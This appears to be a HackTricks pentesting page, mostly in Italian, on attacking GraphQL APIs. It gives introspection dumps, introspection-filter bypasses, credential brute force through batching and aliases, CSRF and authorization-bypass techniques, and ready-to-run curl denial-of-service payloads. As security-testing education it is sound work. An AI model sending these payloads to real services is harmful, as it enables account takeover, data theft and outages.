GraphQL

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Introduzione

GraphQL è evidenziato come un’alternativa efficiente a REST API, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso necessita di numerose richieste su endpoint diversi per raccogliere dati, GraphQL permette di ottenere tutte le informazioni richieste tramite una singola richiesta. Questa semplificazione avvantaggia notevolmente gli sviluppatori riducendo la complessità dei loro processi di fetching dei dati.

GraphQL e sicurezza

Con l’avvento di nuove tecnologie, incluso GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che GraphQL non include meccanismi di autenticazione di default. Spetta agli sviluppatori implementare tali misure di sicurezza. Senza un’adeguata autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, rappresentando un rischio significativo per la sicurezza.

Directory Brute Force Attacks and GraphQL

Per identificare istanze GraphQL esposte, è consigliata l’inclusione di percorsi specifici nelle directory brute force attacks. Questi percorsi sono:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identificare istanze GraphQL aperte permette di esaminare le query supportate. Questo è cruciale per comprendere i dati accessibili tramite l’endpoint. Il sistema di introspezione di GraphQL agevola questo fornendo i dettagli sulle query supportate da uno schema. Per maggiori informazioni su questo argomento, fare riferimento alla documentazione GraphQL sull’introspezione: GraphQL: A query language for APIs.

Fingerprint

Lo strumento graphw00f è in grado di rilevare quale motore GraphQL è utilizzato su un server e poi stampa alcune informazioni utili per l’auditor di sicurezza.

Query universali

Per verificare se un URL è un servizio GraphQL, può essere inviata una query universale, query{__typename}. Se la risposta include {"data": {"__typename": "Query"}}, ciò conferma che l’URL ospita un endpoint GraphQL. Questo metodo si basa sul campo __typename di GraphQL, che rivela il tipo dell’oggetto interrogato.

query{__typename}

Enumerazione di base

Graphql di solito supporta GET, POST (x-www-form-urlencoded) e POST(json). Anche se per sicurezza è consigliato permettere solo json per prevenire attacchi CSRF.

Introspezione

Per utilizzare l’introspezione per scoprire informazioni sullo schema, eseguire una query sul campo __schema. Questo campo è disponibile sul root type di tutte le query.

query={__schema{types{name,fields{name}}}}

Con questa query troverai il nome di tutti i tipi utilizzati:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Con questa query puoi estrarre tutti i tipi, i suoi campi e i suoi argomenti (e il tipo degli argomenti). Questo sarà molto utile per sapere come interrogare il database.

Errori

È interessante sapere se gli errori verranno mostrati, poiché forniranno informazioni utili.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerare lo schema del database tramite introspezione

Tip

Se l’introspezione è abilitata ma la query sopra non viene eseguita, prova a rimuovere le direttive onOperation, onFragment, e onField dalla struttura della query.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Query di introspezione inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

L’ultima riga di codice è una graphql query che esporterà tutte le meta-informazioni dal graphql (nomi degli oggetti, parametri, tipi…)

Se l’introspezione è abilitata puoi usare GraphQL Voyager per vedere in una GUI tutte le opzioni.

Interrogazione

Ora che sappiamo che tipo di informazioni sono salvate nel database, proviamo a estrarre alcuni valori.

Nell’introspezione puoi trovare quali oggetti puoi interrogare direttamente (perché non puoi interrogare un oggetto solo perché esiste). Nell’immagine seguente puoi vedere che il “queryType” si chiama “Query” e che uno dei campi dell’oggetto “Query” è “flags”, che è anch’esso un tipo di oggetto. Pertanto puoi interrogare l’oggetto flag.

Nota che il tipo della query “flags” è “Flags”, e questo oggetto è definito come segue:

Puoi vedere che gli oggetti “Flags” sono composti da name e value. Quindi puoi ottenere tutti i nomi e i valori delle flags con la query:

query={flags{name, value}}

Nota che se l’oggetto da interrogare è un tipo primitivo come string, come nell’esempio seguente

Puoi semplicemente interrogarlo con:

query = { hiddenFlags }

In un altro esempio in cui c’erano 2 oggetti dentro il tipo “Query”: “user” e “users”.
Se questi oggetti non richiedono alcun argomento per la ricerca, è possibile recuperare tutte le informazioni da essi semplicemente richiedendo i dati che vuoi. In questo esempio preso da Internet potresti estrarre i nomi utente e le password salvate:

Tuttavia, in questo esempio se provi a farlo ottieni questo errore:

Sembra che in qualche modo utilizzi l’argomento “uid” di tipo Int.
Comunque, lo sapevamo già: nella sezione Basic Enumeration era proposta una query che ci mostrava tutte le informazioni necessarie: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Se guardi l’immagine fornita quando ho eseguito quella query vedrai che “user” aveva l’arguid” di tipo Int.

Quindi, effettuando un leggero bruteforce su uid ho scoperto che in uid=1 venivano recuperati i campi user e password:
query={user(uid:1){user,password}}

Nota che ho scoperto che potevo richiedere i parametriuser” e “password” perché se provo a cercare qualcosa che non esiste (query={user(uid:1){noExists}}) ottengo questo errore:

E durante la fase di enumeration ho scoperto che l’oggetto “dbuser” aveva come campi “user” e “password.

Query string dump trick (thanks to @BinaryShadow_)

Se puoi cercare per un campo di tipo stringa, per esempio: query={theusers(description: ""){username,password}} e cerchi una stringa vuota allora verranno dumpati tutti i dati. (Nota: questo esempio non è collegato all’esempio dei tutorial; per questo esempio supponi di poter cercare usando “theusers” tramite un campo String chiamato “description”.).

Ricerca

In questa configurazione, un database contiene persons e movies. Le persons sono identificate dalla loro email e name; le movies dal loro name e rating. Le persons possono essere amici tra loro e avere anche movies, indicando relazioni all’interno del database.

Puoi cercare le persons per il name e ottenere le loro email:

{
searchPerson(name: "John Doe") {
email
}
}

Puoi cercare persone per il nome e ottenere i film sottoscritti:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Nota come è indicato recuperare il name dei subscribedMovies della persona.

Puoi anche cercare più oggetti contemporaneamente. In questo caso viene effettuata la ricerca di 2 film:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

O anche relazioni tra diversi oggetti usando alias:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations vengono usate per apportare modifiche sul lato server.

Nella introspection puoi trovare le mutations dichiarate. Nell’immagine seguente il “MutationType” è chiamato “Mutation” e l’oggetto “Mutation” contiene i nomi delle mutations (come “addPerson” in questo caso):

In questa configurazione, un database contiene persons e movies. Le persons sono identificate dalla loro email e name; i movies dal loro name e rating. Le persons possono essere amici tra loro e avere anche dei movies, indicando relazioni all’interno del database.

Una mutation per creare nuovi movies nel database può essere simile alla seguente (in questo esempio la mutation è chiamata addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Nota come siano indicati sia i valori sia il tipo di dato nella query.

Inoltre, il database supporta un’operazione di mutation, chiamata addPerson, che consente la creazione di persons insieme alle loro associazioni con friends e movies esistenti. È fondamentale notare che i friends e i movies devono esistere già nel database prima di collegarli alla persona appena creata.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Come spiegato in one of the vulns described in this report, un directive overloading implica la chiamata di una direttiva anche milioni di volte per far consumare risorse al server fino a poterlo mettere in DoS.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
L’autenticazione tramite GraphQL API con simultaneously sending many queries with different credentials per verificarla. È un classico brute force attack, ma ora è possibile inviare più di una login/password pair per HTTP request grazie alla feature di GraphQL batching. Questo approccio può ingannare le applicazioni esterne di rate monitoring facendole credere che sia tutto regolare e che non ci sia un bot di brute-forcing che prova a indovinare le password.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. Tuttavia, gli errori che graphql genera quando riceve una request inaspettata sono sufficienti per tool come clairvoyance per ricreare la maggior parte dello schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Se non ha successo, considera metodi di richiesta alternativi, come GET requests o POST with x-www-form-urlencoded, poiché le restrizioni potrebbero applicarsi solo alle POST requests.

Prova WebSockets

Come menzionato in this talk, verifica se potrebbe essere possibile connettersi a graphQL via WebSockets, poiché ciò potrebbe permetterti di bypassare un potenziale WAF e fare in modo che la websocket communication leak lo schema di graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Scoprire strutture GraphQL esposte

Quando l’introspection è disabilitata, esaminare il codice sorgente del sito per query precaricate nelle librerie JavaScript è una strategia utile. Queste query possono essere trovate usando la scheda Sources negli strumenti per sviluppatori, fornendo informazioni sullo schema dell’API e rivelando potenzialmente query sensibili esposte. I comandi per cercare all’interno degli strumenti per sviluppatori sono:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

When introspection is blocked, InQL v6.1+ can now reconstruct the reachable schema purely from error feedback. The new schema bruteforcer batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:

  • Field 'bugs' not found on type 'inql' conferma l’esistenza del tipo parent mentre scarta nomi di field non validi.
  • Argument 'contribution' is required mostra che un argument è obbligatorio e ne espone l’ortografia.
  • Suggestion hints such as Did you mean 'openPR'? vengono reinseriti nella coda come candidati validati.
  • By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like [Episode!].

The bruteforcer keeps recursing over any type that yields new fields, so a wordlist that mixes generic GraphQL names with app-specific guesses will eventually map large chunks of the schema without introspection. Runtime is limited mostly by rate limiting and candidate volume, so fine-tuning the InQL settings (wordlist, batch size, throttling, retries) is critical for stealthier engagements.

In the same release, InQL ships a GraphQL engine fingerprinter (borrowing signatures from tools like graphw00f). The module dispatches deliberately invalid directives/queries and classifies the backend by matching the exact error text. For example:

query @deprecated {
__typename
}
  • Apollo risponde con Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby risponde '@deprecated' can't be applied to queries.

Una volta che un engine viene riconosciuto, InQL mette in evidenza la voce corrispondente dalla GraphQL Threat Matrix, aiutando i tester a dare priorità alle debolezze presenti in quella famiglia di server (comportamento di introspezione predefinito, limiti di profondità, lacune CSRF, upload di file, ecc.).

Infine, generazione automatica di variabili rimuove un ostacolo classico quando si effettua il pivoting verso Burp Repeater/Intruder. Ogni volta che un’operazione richiede un variables JSON, InQL ora inietta valori predefiniti sensati in modo che la richiesta superi la validazione dello schema al primo invio:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Gli oggetti di input annidati ereditano la stessa mappatura, quindi ottieni immediatamente un payload sintatticamente e semanticamente valido che può essere fuzzed per SQLi/NoSQLi/SSRF/logic bypasses senza dover effettuare il reverse-engineering manuale di ogni argomento.

CSRF in GraphQL

Se non sai cos’è CSRF leggi la seguente pagina:

CSRF (Cross Site Request Forgery)

Lì potrai trovare diversi endpoint GraphQL configurati senza CSRF tokens.

Nota che le richieste GraphQL sono solitamente inviate tramite POST usando il Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Tuttavia, la maggior parte degli endpoint GraphQL supporta anche form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate senza richieste preflight, è possibile effettuare modifiche in GraphQL abusando di un CSRF.

Tuttavia, nota che il nuovo valore di default del cookie per il flag samesite di Chrome è Lax. Questo significa che il cookie verrà inviato solo da un sito terzo nelle richieste GET.

Nota che di solito è possibile inviare la query anche come richiesta GET e il token CSRF potrebbe non essere validato in una richiesta GET.

Inoltre, abusare di un XS-Search attack potrebbe permettere di esfiltrare contenuti dall’endpoint GraphQL sfruttando le credenziali dell’utente.

Per maggiori informazioni check the original post here.

Cross-site WebSocket hijacking in GraphQL

Similmente alle vulnerabilità CRSF che sfruttano GraphQL, è anche possibile eseguire una Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies e far sì che un utente compia azioni non previste in GraphQL.

Per maggiori informazioni consulta:

WebSocket Attacks

Autorizzazione in GraphQL

Molte funzioni GraphQL definite sull’endpoint potrebbero verificare solo l’autenticazione del richiedente ma non l’autorizzazione.

La modifica delle variabili di input della query potrebbe portare alla divulgazione di dettagli sensibili dell’account leaked.

Una Mutation potrebbe perfino condurre a account takeover tentando di modificare i dati di altri account.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass dell’autorizzazione in GraphQL

Concatenare query insieme può bypassare un sistema di autenticazione debole.

Nell’esempio sottostante si vede che l’operazione è “forgotPassword” e che dovrebbe eseguire solamente la query forgotPassword a essa associata. Questo può essere bypassato aggiungendo una query alla fine; in questo caso aggiungiamo “register” e una variabile user affinché il sistema registri un nuovo utente.

Bypass dei rate limit usando alias in GraphQL

In GraphQL, gli alias sono una funzionalità potente che permettono di dare nomi alle proprietà in modo esplicito quando si effettua una richiesta API. Questa capacità è particolarmente utile per recuperare più istanze dello stesso tipo di oggetto all’interno di una singola richiesta. Gli alias possono essere utilizzati per superare la limitazione che impedisce agli oggetti GraphQL di avere più proprietà con lo stesso nome.

Per una comprensione dettagliata degli alias di GraphQL, la seguente risorsa è raccomandata: Aliases.

Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d’uso involontario in cui gli alias possono essere sfruttati per eseguire attacchi di brute force contro un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da rate limiter progettati per contrastare gli attacchi di brute force limitando il numero di HTTP requests. Tuttavia, questi rate limiter potrebbero non tener conto del numero di operazioni presenti in ogni richiesta. Poiché gli alias permettono l’inclusione di più query in una singola HTTP request, possono aggirare tali misure di rate limiting.

Considera l’esempio fornito qui sotto, che illustra come query con alias possano essere usate per verificare la validità di codici sconto di un negozio. Questo metodo potrebbe eludere il rate limiting poiché compila diverse query in una sola HTTP request, permettendo potenzialmente la verifica simultanea di numerosi codici sconto.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading è una vulnerabilità di GraphQL in cui gli attackers sovraccaricano una query con molti alias per lo stesso campo, causando che il backend resolver esegua quel campo ripetutamente. Questo può sovraccaricare le risorse del server, portando a un Denial of Service (DoS). Ad esempio, nella query qui sotto, lo stesso campo (expensiveField) viene richiesto 1,000 volte usando alias, costringendo il backend a calcolarlo 1,000 volte, potenzialmente esaurendo CPU o memoria:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Per mitigare questo, implementa alias count limits, query complexity analysis o rate limiting per prevenire l’abuso delle risorse.

Array-based Query Batching

Array-based Query Batching è una vulnerabilità in cui un’API GraphQL permette di raggruppare più query in una singola richiesta, consentendo a un attaccante di inviare un gran numero di query contemporaneamente. Questo può sopraffare il backend eseguendo tutte le query raggruppate in parallelo, consumando risorse eccessive (CPU, memoria, connessioni al database) e potenzialmente portando a un Denial of Service (DoS). Se non esiste un limite al numero di query in un batch, un attaccante può sfruttarlo per degradare la disponibilità del servizio.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

In questo esempio, 10 query diverse sono raggruppate in un’unica richiesta, costringendo il server a eseguirle tutte simultaneamente. Se sfruttato con una dimensione del batch maggiore o con query computazionalmente costose, può sovraccaricare il server.

Directive Overloading Vulnerability

Directive Overloading si verifica quando un server GraphQL permette query con directives eccessive o duplicate. Questo può sopraffare il parser e l’executor del server, specialmente se il server elabora ripetutamente la stessa logica delle directives. Senza adeguata convalida o limiti, un attaccante può sfruttare questa situazione creando una query con numerose directives duplicate per provocare un elevato utilizzo computazionale o di memoria, portando a Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Nota che nell’esempio precedente @aa è una direttiva personalizzata che potrebbe non essere dichiarata. Una direttiva comune che solitamente esiste è @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Puoi anche inviare una introspection query per scoprire tutte le declared directives:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

E poi usa alcuni di quelli personalizzati.

Field Duplication Vulnerability

Field Duplication è una vulnerabilità in cui un server GraphQL permette query con lo stesso campo ripetuto in modo eccessivo. Questo costringe il server a risolvere il campo ridondantemente per ogni istanza, consumando risorse significative (CPU, memoria e chiamate al database). Un attaccante può creare query con centinaia o migliaia di campi ripetuti, causando un carico elevato e portando potenzialmente a un Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Vulnerabilità recenti (2023-2025)

